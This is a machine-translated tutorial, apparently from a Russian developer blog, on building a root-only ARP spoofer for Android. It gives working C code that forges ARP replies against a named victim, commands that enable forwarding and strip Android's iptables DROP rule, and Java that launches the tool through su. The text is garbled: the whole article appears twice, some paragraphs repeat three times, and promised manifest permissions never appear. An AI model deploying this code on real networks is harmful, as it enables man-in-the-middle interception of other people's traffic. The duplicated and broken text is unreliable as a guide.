We are writing ARP Spoofer for Android. Android Root Development
Here is my first article on this wonderful resource, so do not judge too harshly. Constructive criticism, corrections and additions are welcome.
Since this is my first article here, I suggest starting with an introduction. It may seem to some that my nickname (First Row) sounds too pathetic, so I want, so to speak, to clarify the situation. I often subscribed to “First row viewer,” which means “front row viewer.” But when registering a developer account on Google Play, it turned out that there were too many characters. I just had to leave “First Row”.
Well, we deviated somewhat from the topic, and many probably began to annoy my chatter in order (and there are still a lot of letters below). Therefore, I propose to go directly to our topic.
First of all, I’ll say that here we will not analyze IP routing, the work of the ARP protocol and the theory of Spoofing itself (on this topic I saw a couple of excellent articles on Habré). It is also assumed that you know the languages C, Java and have at least minimal development skills for Android. We proceed immediately to practice, in our case, to implementation. To get started, let's figure out the tools. Personally, I use Eclipse with the ADT plugin and the Android NDK installed (in our case, most of the code will be written in native language). Perhaps you will edit the sorts in notepad and collect with pens through the terminal, or use Android Studio, or something else. In this case, it may turn out that some of my recommendations may be omitted. In this article, I want to tell, including about some of the pitfalls and rakes that I stepped on,
So, it occurred to us to write a simple ARP Spoofer for Android. What do we need? To begin with, we recall that our wrapper program will be written in Java (we will not touch NativeActivity). But Java does not provide us with the necessary functionality to implement our plans. Many could have thought of JNI. Not. That won't work either. In order for our native program to have Root privileges, you will have to start a separate process, and already run our program from under the root. If for users of * nix such systems this is quite obvious, then for the rest I would like to immediately highlight this point so that no further questions arise. Well, with that we decided. We will write a native program (not a library) that will be launched from Java code, under Root. We need superuser privileges to work with Raw sockets,
I suggest starting with the most native program. You can create a new project and nothing more. Don’t rush to add JNI support to the project (we will do this after reviewing several pitfalls). In the meantime, I propose to create our source code, name it arpspoof.c. We will also turn to Android.mk a bit later.
To begin, we will deal with the program itself. Here I will not give an example of a full-fledged ARP spoofer, which itself will recognize the necessary MAC addresses. You can finish it up to a more decent appearance yourself, if necessary. My task is to give a small example that can help someone save a lot of time (maybe I was looking badly, but when I started, I would not be in the way of such an example. This is not about the spoofer, but about how to gash this thing under android). So, at the entrance we will accept:
1) the IP address of the victim;
2) MAC address of the victim;
3) the IP address of the gateway (or by whom you want to "mask");
4) Our MAC address (well, or the one to whom you want to "translate" the traffic of the victim).
We will accept them in the form of keys. Further, in a cycle with a certain interval (for example, 1 s), we will send an ARP response with the specified addresses. Before we begin, let's look at the format of the ARP header (let's look at if_arp.h for this and consider the fields of the desired structure):
In principle, everything is clear here. I will explain only some values:
ar_hrd - for Ethernet there will be ARPHDR_ETHER;
ar_pro - in our case, ETH_P_IP;
arp_op - we will send ARP answers, therefore ARPOP_REPLY.
With the rest of the questions, I think that no one should have to ask, the sizes of ip and mac addresses in bytes, and the addresses themselves.
Well, the ARP header is sorted out. In our package, it will follow the Ethernet header. Let's analyze it too. Let's look at if_ether.h:
Here questions can arise only with the h_proto field (protocol). In our case, it will be ETH_P_ARP. For convenience, I combined these two structures into one and changed the type for IP addresses from char [] to unsigned long, in order to push the address into the desired field with the usual assignment. Such will be the whole package structure:
And finally, our function for sending ARP responses:
Now let's write the main function. Everything is quite trivial here. The only thing I want to draw your attention to is system () calls, where we add the forward accept rule in iptables, enable routing (one in ip_forward). Also, when I transferred my project to Android 5.x, I found in iptables the DROP all rules in the natctrl_FORWARD nameplate. We will take this into account as well (by the way, this rule, as far as I know, also occurs on Android 4.4. I did not see this on earlier versions).
So our code is:
You may also notice that as the first parameter of the response sending function, we send the interface name. You can declare / define the line “wlan0”, you can accept the interface name as a key. Since the program is for phones and tablets, you can do a pre-driven line. I will not give auxiliary functions like str_to_mac here, you can familiarize yourself with them by downloading the source code archive, or implement them yourself.
Let's move on to writing our Java shell. I think it’s not difficult for anyone present to upload an xml-file with the same LinearLayout, four EditTexts and a couple of Button's for start and stop. Then create a class, for example, MainActivity, inheriting from Activity, put handlers on our buttons (you can download the source code completely, link under the cat). Here I will give only the main function that will run our native prog. And before giving a description of it, it's time to think about exactly how (where we will launch it from).
The fact is that so that we can run our program, the executable file must be in the application folder. That is, for starters, it should get into our package during assembly. Then, the APK unpacker should not throw it when installed on the target device. These are two main points, because of which difficulties may arise at first if the project does not contain any, but an executable file. Do not forget that when collecting our binary not as a library, but as an executable file, we will get a file with a name that does not correspond to what the library should be called. This means that such a file simply will not get into our package during assembly (in this case, the project’s lib folder). If you simply add the .so extension by specifying the module name, it will end up in the APK file, but it will be ejected by the installation program on the target device. And they don’t give us the prefix lib to the module name. This is such a problem, the explanatory description / solution of which in due time I did not find anywhere. Although, perhaps, he was just looking poorly. But perhaps this is also connected with the “specificity” of such programs, because they give us a JNI interface, and we really are not required to build an application with a library. But what if the project should include executable files? So, we have 2 options, each with its own pros and cons: if the project should include executable files? So, we have 2 options, each with its own pros and cons: if the project should include executable files? So, we have 2 options, each with its own pros and cons:
1) Do not add JNI support to the project, but use the pens to create the necessary folders in the libs folder of the project (armeabi, x86 if necessary). Compile the native code in another project, and then (! Important) copy each binary to / libs / armeabi or x86 in the following form: lib PROGRAM_NAME.so. The option is not bad, he used it at first. But I still wanted to build all at once with one button from the development environment. Moreover, the main work in my case was just in native, and it was very inconvenient to transfer a bunch of binaries of my utilities and rename them at the same time (or one at a time, depending on how many changes were made and where). The plus of the method is that if you used, say, ready-made sorts, and you don’t need to change them during the work (if the work is only on the Java part), then this method will really be less expensive.
2) Add jni support to the project, everything is as usual, but after describing the assembly of each file, assign the following code:
$ (shell mv $ {NDK_APP_DST_DIR} / BINNAME_NAME $ {NDK_APP_DST_DIR} /libBINNAME_NAME.so)
and at the very beginning of our Android.mk set
SHELL: = / bin / sh
Those. immediately after assembly, each binar will be renamed to the format we need. There is only one drawback of this method - during each assembly of the project, binaries are renamed to their original form by the assembly program itself. In order for our script to work, the last modified file must be Android.mk. That is, before each assembly of the project you will have to open it, put, for example, a space, then collect it. The same applies to export to the APK file for the market. Edit Android.mk, save, export. In this case, everything will be fine. Nevertheless, when using this method, I recommend to monitor the size of the final APK file, if our files didn’t get there for some reason, its size will be smaller (how much it depends on the number of assemblies, whether you use a static link, etc. but resizing will be anyway).
You can, of course, still download the necessary files from the server when the program starts, or come up with something else in this spirit, but, in my opinion, such approaches do not belong in this article. It is also possible to collect pens from the console, during manual assembly, we can specify any name of the output file. But in this case, I repeat, we are talking about work using the development environment. Personally, I settled on the second method. I use it in the example, the source of which you can download immediately after the article. You can choose for yourself any of the two described methods, or, if you know some other, write about it in the comments. Before we finish with the native part, I will give you my Android.mk:
I also want to note that for Android 4.0 and below it is also worth using a static link (-static switch for LOCAL_LDFLAGS), for 4.1 it is better to use dynamic assembly.
Well, we figured out the assembly. The method of “storing" our executable file in the package was chosen. Rather, the method of getting the same file into the folder we need. Now I will give you the promised function that the handler for our spoof button calls:
Everything is simple here, run Thread, in which we start a new process with the shell under the root (su) and write our command through the output stream. The command itself will be the full path to our executable file + keys. The full path to the file will accordingly be / data / data / PACKAGE_NAME / lib / FILE NAME.
So, there is only one question left - how to complete our spoofer? The easiest option is to call
killall -SIGKILL libarpspoof.so from the root
when you click on another button designed to complete. You can also catch, say, SIGINT in the program itself and exit the loop in main. If you are writing a more complex program that interacts with the shell, you can send the pid of the process at startup, then call your own implementation of kill, and pass the received pid as the key to it. I used this method in Network Utilities in order to make the program less dependent on busybox (not everyone has the killall applet), and the incomplete native program, to put it mildly, is not buzzing. But for our educational implementation, such a method will also work. But if you are writing an application that will be used not only by you, I recommend using your own completion program (or at least check the availability of the necessary busybox applet). Generally, For this program you can use any option you like. I think that you can cope with writing a handler for the second, final button without me. If suddenly something - we look in sorts, under the article. Also, to “embellish” a program a little, you can make the start button inactive when you click on it, and again make it active when you click on the stop. Or, say, use ToggleButton. This is at your discretion. My task is to provide the simplest example possible. There is especially nothing to grind here, so let's move on. It remains to add the necessary permissions to AndroidManifest. And these will be: You can make the start button inactive when you click on it, and again make it active when you click on the stop. Or, say, use ToggleButton. This is at your discretion. My task is to provide the simplest example possible. There is especially nothing to grind here, so let's move on. It remains to add the necessary permissions to AndroidManifest. And these will be: You can make the start button inactive when you click on it, and again make it active when you click on the stop. Or, say, use ToggleButton. This is at your discretion. My task is to provide the simplest example possible. There is especially nothing to grind here, so let's move on. It remains to add the necessary permissions to AndroidManifest. And these will be:
Before proceeding to the final part of the article, I would like to give you a couple of tips for the future:
1) If your program needs to be completed manually (as in this example), it is better to make sure that the native program is sure to terminate upon exit. For example, in the exit button handler of the application.
2) Third-party package installation programs (for example, included in some file managers) during installation may not set execution attributes for executable files included in your program. Itself in due time stepped on this rake. It’s best to check the attributes at startup and set them manually if necessary.
I know you, like me, cannot wait to try our ARP Spoofer. It's time to do it. We are assembling the project (remember that I was talking about editing Android.mk), we drop the received APK on our favorite rutted phone, drive in IP and MAC addresses, press the treasured button. On the victim computer, open the terminal and check the ARP plate (arp -a). The MAC address of the gateway (or what you specified as the sender ip address) should change to the MAC address that you registered as the sender mac. Important - this must be an address existing in the network (device address, for example). But, I think, you know this very well without me. In this case, by launching any sniffer (for example, included in Network Utilities), you will see packets coming from the “victim” to the gateway). Therefore, the task is completed. ARP Spoofer is written and works great.
To see an example of a full-fledged similar program with a bunch of "chips" and features, you can download Network Utilities from the link below. And yes, in the description on the market, many opportunities and “features” had to be omitted, leaving only ping, traceroute and similar harmless little things. For example, you can take the Arp spoofer, which is included there, and try to “finish” our humble example to this level, making it “mass”, add algorithms for “recognizing” the addresses we need. But this is so, hurt for the future, suddenly someone will be interested. At this, perhaps, it's time to say goodbye. If the article is to the liking of the community, perhaps in the future I will write more. For example, about creating a sniffer, or network scanner for android.
And finally, here are the links:
Link to the archive with spoofers: rghost.ru/87t2Y58Nn
The promised link to Network Utilities (not advertising): play.google.com/store/apps/details?id=com.myprog.netutils
Thank you for your attention.
Since this is my first article here, I suggest starting with an introduction. It may seem to some that my nickname (First Row) sounds too pathetic, so I want, so to speak, to clarify the situation. I often subscribed to “First row viewer,” which means “front row viewer.” But when registering a developer account on Google Play, it turned out that there were too many characters. I just had to leave “First Row”.
Well, we deviated somewhat from the topic, and many probably began to annoy my chatter in order (and there are still a lot of letters below). Therefore, I propose to go directly to our topic.
First of all, I’ll say that here we will not analyze IP routing, the work of the ARP protocol and the theory of Spoofing itself (on this topic I saw a couple of excellent articles on Habré). It is also assumed that you know the languages C, Java and have at least minimal development skills for Android. We proceed immediately to practice, in our case, to implementation. To get started, let's figure out the tools. Personally, I use Eclipse with the ADT plugin and the Android NDK installed (in our case, most of the code will be written in native language). Perhaps you will edit the sorts in notepad and collect with pens through the terminal, or use Android Studio, or something else. In this case, it may turn out that some of my recommendations may be omitted. In this article, I want to tell, including about some of the pitfalls and rakes that I stepped on,
So, it occurred to us to write a simple ARP Spoofer for Android. What do we need? To begin with, we recall that our wrapper program will be written in Java (we will not touch NativeActivity). But Java does not provide us with the necessary functionality to implement our plans. Many could have thought of JNI. Not. That won't work either. In order for our native program to have Root privileges, you will have to start a separate process, and already run our program from under the root. If for users of * nix such systems this is quite obvious, then for the rest I would like to immediately highlight this point so that no further questions arise. Well, with that we decided. We will write a native program (not a library) that will be launched from Java code, under Root. We need superuser privileges to work with Raw sockets,
I suggest starting with the most native program. You can create a new project and nothing more. Don’t rush to add JNI support to the project (we will do this after reviewing several pitfalls). In the meantime, I propose to create our source code, name it arpspoof.c. We will also turn to Android.mk a bit later.
To begin, we will deal with the program itself. Here I will not give an example of a full-fledged ARP spoofer, which itself will recognize the necessary MAC addresses. You can finish it up to a more decent appearance yourself, if necessary. My task is to give a small example that can help someone save a lot of time (maybe I was looking badly, but when I started, I would not be in the way of such an example. This is not about the spoofer, but about how to gash this thing under android). So, at the entrance we will accept:
1) the IP address of the victim;
2) MAC address of the victim;
3) the IP address of the gateway (or by whom you want to "mask");
4) Our MAC address (well, or the one to whom you want to "translate" the traffic of the victim).
We will accept them in the form of keys. Further, in a cycle with a certain interval (for example, 1 s), we will send an ARP response with the specified addresses. Before we begin, let's look at the format of the ARP header (let's look at if_arp.h for this and consider the fields of the desired structure):
struct arphdr
{
unsigned short int ar_hrd; /* Format of hardware address. */
unsigned short int ar_pro; /* Format of protocol address. */
unsigned char ar_hln; /* Length of hardware address. */
unsigned char ar_pln; /* Length of protocol address. */
unsigned short int ar_op; /* ARP opcode (command). */
#if 0
/* Ethernet looks like this : This bit is variable sized
however... */
unsigned char __ar_sha[ETH_ALEN]; /* Sender hardware address. */
unsigned char __ar_sip[4]; /* Sender IP address. */
unsigned char __ar_tha[ETH_ALEN]; /* Target hardware address. */
unsigned char __ar_tip[4]; /* Target IP address. */
#endif
};
In principle, everything is clear here. I will explain only some values:
ar_hrd - for Ethernet there will be ARPHDR_ETHER;
ar_pro - in our case, ETH_P_IP;
arp_op - we will send ARP answers, therefore ARPOP_REPLY.
With the rest of the questions, I think that no one should have to ask, the sizes of ip and mac addresses in bytes, and the addresses themselves.
Well, the ARP header is sorted out. In our package, it will follow the Ethernet header. Let's analyze it too. Let's look at if_ether.h:
struct ethhdr {
unsigned char h_dest[ETH_ALEN]; /* destination eth addr */
unsigned char h_source[ETH_ALEN]; /* source ether addr */
unsigned short h_proto; /* packet type ID field */
} __attribute__((packed));
Here questions can arise only with the h_proto field (protocol). In our case, it will be ETH_P_ARP. For convenience, I combined these two structures into one and changed the type for IP addresses from char [] to unsigned long, in order to push the address into the desired field with the usual assignment. Such will be the whole package structure:
struct my_arp_packet
{
unsigned char h_dest[ETH_ALEN]; /* destination eth addr */
unsigned char h_source[ETH_ALEN]; /* source ether addr */
unsigned short h_proto; /* packet type ID field */
unsigned short int ar_hrd; /* Format of hardware address. */
unsigned short int ar_pro; /* Format of protocol address. */
unsigned char ar_hln; /* Length of hardware address. */
unsigned char ar_pln; /* Length of protocol address. */
unsigned short int ar_op; /* ARP opcode (command). */
unsigned char ar_sha[ETH_ALEN]; /* Sender hardware address. */
unsigned long ar_sip; /* Sender IP address. */
unsigned char ar_tha[ETH_ALEN]; /* Target hardware address. */
unsigned long ar_tip; /* Target IP address. */
} __attribute__((packed));
And finally, our function for sending ARP responses:
void arp_reply_send(char *iface_name, unsigned long src_ip, unsigned char *src_mac, unsigned int dest_ip, unsigned char *dest_mac)
{
struct my_arp_packet arp;
// заполняем Ethernet заголовок
memcpy(arp.h_dest,dest_mac,ETH_ALEN);
memcpy(arp.h_source,src_mac,ETH_ALEN);
arp.h_proto=htons(ETH_P_ARP);
// заполняем ARP заголовок
arp.ar_hln = ETH_ALEN;
arp.ar_pln = 4;
arp.ar_hrd = htons(ARPHRD_ETHER);
arp.ar_pro = htons(ETH_P_IP);
arp.ar_op = htons(ARPOP_REPLY);
memcpy(arp.ar_sha,src_mac,ETH_ALEN);
memcpy(arp.ar_tha,dest_mac,ETH_ALEN);
arp.ar_sip=src_ip;
arp.ar_tip=dest_ip;
// создаем сокет, отправляем пакет с указанного интерфейса
int sock = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ARP));
struct sockaddr adr;
strcpy(adr.sa_data, iface_name);
adr.sa_family = AF_INET;
sendto(sock, (void*)&arp, sizeof(struct my_arp_packet), 0, (struct sockaddr *)&adr, sizeof(struct sockaddr));
close(sock);
}
Now let's write the main function. Everything is quite trivial here. The only thing I want to draw your attention to is system () calls, where we add the forward accept rule in iptables, enable routing (one in ip_forward). Also, when I transferred my project to Android 5.x, I found in iptables the DROP all rules in the natctrl_FORWARD nameplate. We will take this into account as well (by the way, this rule, as far as I know, also occurs on Android 4.4. I did not see this on earlier versions).
So our code is:
int main(int argc, char **argv)
{
// получаем IP и MAC адреса из ключей
unsigned long dest_ip=inet_addr(argv[1]);
unsigned long src_ip=inet_addr(argv[3]);
unsigned char dest_mac[ETH_ALEN];
unsigned char src_mac[ETH_ALEN];
str_to_mac(dest_mac, argv[2]);
str_to_mac(src_mac, argv[4]);
// включаем маршрутизацию и разрешаем в iptables
system("echo 1 > /proc/sys/net/ipv4/ip_forward");
system("iptables -A FORWARD -j ACCEPT");
// то самое правило, вбитое изначально в андроид 4.4 и выше
system("iptables -D natctrl_FORWARD -j DROP");
system("iptables -A natctrl_FORWARD -j ACCEPT");
while(1)
{
arp_reply_send(my_interface, src_ip, src_mac, dest_ip, dest_mac);
sleep(1);
}
}
You may also notice that as the first parameter of the response sending function, we send the interface name. You can declare / define the line “wlan0”, you can accept the interface name as a key. Since the program is for phones and tablets, you can do a pre-driven line. I will not give auxiliary functions like str_to_mac here, you can familiarize yourself with them by downloading the source code archive, or implement them yourself.
Let's move on to writing our Java shell. I think it’s not difficult for anyone present to upload an xml-file with the same LinearLayout, four EditTexts and a couple of Button's for start and stop. Then create a class, for example, MainActivity, inheriting from Activity, put handlers on our buttons (you can download the source code completely, link under the cat). Here I will give only the main function that will run our native prog. And before giving a description of it, it's time to think about exactly how (where we will launch it from).
The fact is that so that we can run our program, the executable file must be in the application folder. That is, for starters, it should get into our package during assembly. Then, the APK unpacker should not throw it when installed on the target device. These are two main points, because of which difficulties may arise at first if the project does not contain any, but an executable file. Do not forget that when collecting our binary not as a library, but as an executable file, we will get a file with a name that does not correspond to what the library should be called. This means that such a file simply will not get into our package during assembly (in this case, the project’s lib folder). If you simply add the .so extension by specifying the module name, it will end up in the APK file, but it will be ejected by the installation program on the target device. And they don’t give us the prefix lib to the module name. This is such a problem, the explanatory description / solution of which in due time I did not find anywhere. Although, perhaps, he was just looking poorly. But perhaps this is also connected with the “specificity” of such programs, because they give us a JNI interface, and we really are not required to build an application with a library. But what if the project should include executable files? So, we have 2 options, each with its own pros and cons: if the project should include executable files? So, we have 2 options, each with its own pros and cons: if the project should include executable files? So, we have 2 options, each with its own pros and cons:
1) Do not add JNI support to the project, but use the pens to create the necessary folders in the libs folder of the project (armeabi, x86 if necessary). Compile the native code in another project, and then (! Important) copy each binary to / libs / armeabi or x86 in the following form: lib PROGRAM_NAME.so. The option is not bad, he used it at first. But I still wanted to build all at once with one button from the development environment. Moreover, the main work in my case was just in native, and it was very inconvenient to transfer a bunch of binaries of my utilities and rename them at the same time (or one at a time, depending on how many changes were made and where). The plus of the method is that if you used, say, ready-made sorts, and you don’t need to change them during the work (if the work is only on the Java part), then this method will really be less expensive.
2) Add jni support to the project, everything is as usual, but after describing the assembly of each file, assign the following code:
$ (shell mv $ {NDK_APP_DST_DIR} / BINNAME_NAME $ {NDK_APP_DST_DIR} /libBINNAME_NAME.so)
and at the very beginning of our Android.mk set
SHELL: = / bin / sh
Those. immediately after assembly, each binar will be renamed to the format we need. There is only one drawback of this method - during each assembly of the project, binaries are renamed to their original form by the assembly program itself. In order for our script to work, the last modified file must be Android.mk. That is, before each assembly of the project you will have to open it, put, for example, a space, then collect it. The same applies to export to the APK file for the market. Edit Android.mk, save, export. In this case, everything will be fine. Nevertheless, when using this method, I recommend to monitor the size of the final APK file, if our files didn’t get there for some reason, its size will be smaller (how much it depends on the number of assemblies, whether you use a static link, etc. but resizing will be anyway).
You can, of course, still download the necessary files from the server when the program starts, or come up with something else in this spirit, but, in my opinion, such approaches do not belong in this article. It is also possible to collect pens from the console, during manual assembly, we can specify any name of the output file. But in this case, I repeat, we are talking about work using the development environment. Personally, I settled on the second method. I use it in the example, the source of which you can download immediately after the article. You can choose for yourself any of the two described methods, or, if you know some other, write about it in the comments. Before we finish with the native part, I will give you my Android.mk:
SHELL:=/bin/sh
LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
LOCAL_CFLAGS := -std=c99
LOCAL_SRC_FILES := arpspoof.c
LOCAL_MODULE := arpspoof
include $(BUILD_EXECUTABLE)
$(shell mv ${NDK_APP_DST_DIR}/arpspoof ${NDK_APP_DST_DIR}/libarpspoof.so)
I also want to note that for Android 4.0 and below it is also worth using a static link (-static switch for LOCAL_LDFLAGS), for 4.1 it is better to use dynamic assembly.
Well, we figured out the assembly. The method of “storing" our executable file in the package was chosen. Rather, the method of getting the same file into the folder we need. Now I will give you the promised function that the handler for our spoof button calls:
private void start_native_app()
{
new Thread(new Runnable() {
public void run(){
Process suProcess=null;
try {
suProcess = Runtime.getRuntime().exec("su");
DataOutputStream os = new DataOutputStream(suProcess.getOutputStream());
String command=getApplicationContext().getFilesDir().getParent() + "/lib/libarpspoof.so";
command+= « » + edit1.getText().toString()
+ « » + edit2.getText().toString()
+ « » + edit3.getText().toString()
+ « » + edit4.getText().toString();
os.writeBytes(command + "\n");
os.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}).start();
}
Everything is simple here, run Thread, in which we start a new process with the shell under the root (su) and write our command through the output stream. The command itself will be the full path to our executable file + keys. The full path to the file will accordingly be / data / data / PACKAGE_NAME / lib / FILE NAME.
So, there is only one question left - how to complete our spoofer? The easiest option is to call
killall -SIGKILL libarpspoof.so from the root
when you click on another button designed to complete. You can also catch, say, SIGINT in the program itself and exit the loop in main. If you are writing a more complex program that interacts with the shell, you can send the pid of the process at startup, then call your own implementation of kill, and pass the received pid as the key to it. I used this method in Network Utilities in order to make the program less dependent on busybox (not everyone has the killall applet), and the incomplete native program, to put it mildly, is not buzzing. But for our educational implementation, such a method will also work. But if you are writing an application that will be used not only by you, I recommend using your own completion program (or at least check the availability of the necessary busybox applet). Generally, For this program you can use any option you like. I think that you can cope with writing a handler for the second, final button without me. If suddenly something - we look in sorts, under the article. Also, to “embellish” a program a little, you can make the start button inactive when you click on it, and again make it active when you click on the stop. Or, say, use ToggleButton. This is at your discretion. My task is to provide the simplest example possible. There is especially nothing to grind here, so let's move on. It remains to add the necessary permissions to AndroidManifest. And these will be: You can make the start button inactive when you click on it, and again make it active when you click on the stop. Or, say, use ToggleButton. This is at your discretion. My task is to provide the simplest example possible. There is especially nothing to grind here, so let's move on. It remains to add the necessary permissions to AndroidManifest. And these will be: You can make the start button inactive when you click on it, and again make it active when you click on the stop. Or, say, use ToggleButton. This is at your discretion. My task is to provide the simplest example possible. There is especially nothing to grind here, so let's move on. It remains to add the necessary permissions to AndroidManifest. And these will be:
Before proceeding to the final part of the article, I would like to give you a couple of tips for the future:
1) If your program needs to be completed manually (as in this example), it is better to make sure that the native program is sure to terminate upon exit. For example, in the exit button handler of the application.
2) Third-party package installation programs (for example, included in some file managers) during installation may not set execution attributes for executable files included in your program. Itself in due time stepped on this rake. It’s best to check the attributes at startup and set them manually if necessary.
I know you, like me, cannot wait to try our ARP Spoofer. It's time to do it. We are assembling the project (remember that I was talking about editing Android.mk), we drop the received APK on our favorite rutted phone, drive in IP and MAC addresses, press the treasured button. On the victim computer, open the terminal and check the ARP plate (arp -a). The MAC address of the gateway (or what you specified as the sender ip address) should change to the MAC address that you registered as the sender mac. Important - this must be an address existing in the network (device address, for example). But, I think, you know this very well without me. In this case, by launching any sniffer (for example, included in Network Utilities), you will see packets coming from the “victim” to the gateway). Therefore, the task is completed. ARP Spoofer is written and works great.
To see an example of a full-fledged similar program with a bunch of "chips" and features, you can download Network Utilities from the link below. And yes, in the description on the market, many opportunities and “features” had to be omitted, leaving only ping, traceroute and similar harmless little things. For example, you can take the Arp spoofer, which is included there, and try to “finish” our humble example to this level, making it “mass”, add algorithms for “recognizing” the addresses we need. But this is so, hurt for the future, suddenly someone will be interested. At this, perhaps, it's time to say goodbye. If the article is to the liking of the community, perhaps in the future I will write more. For example, about creating a sniffer, or network scanner for android.
And finally, here are the links:
Link to the archive with spoofers: rghost.ru/87t2Y58Nn
The promised link to Network Utilities (not advertising): play.google.com/store/apps/details?id=com.myprog.netutils
Thank you for your attention.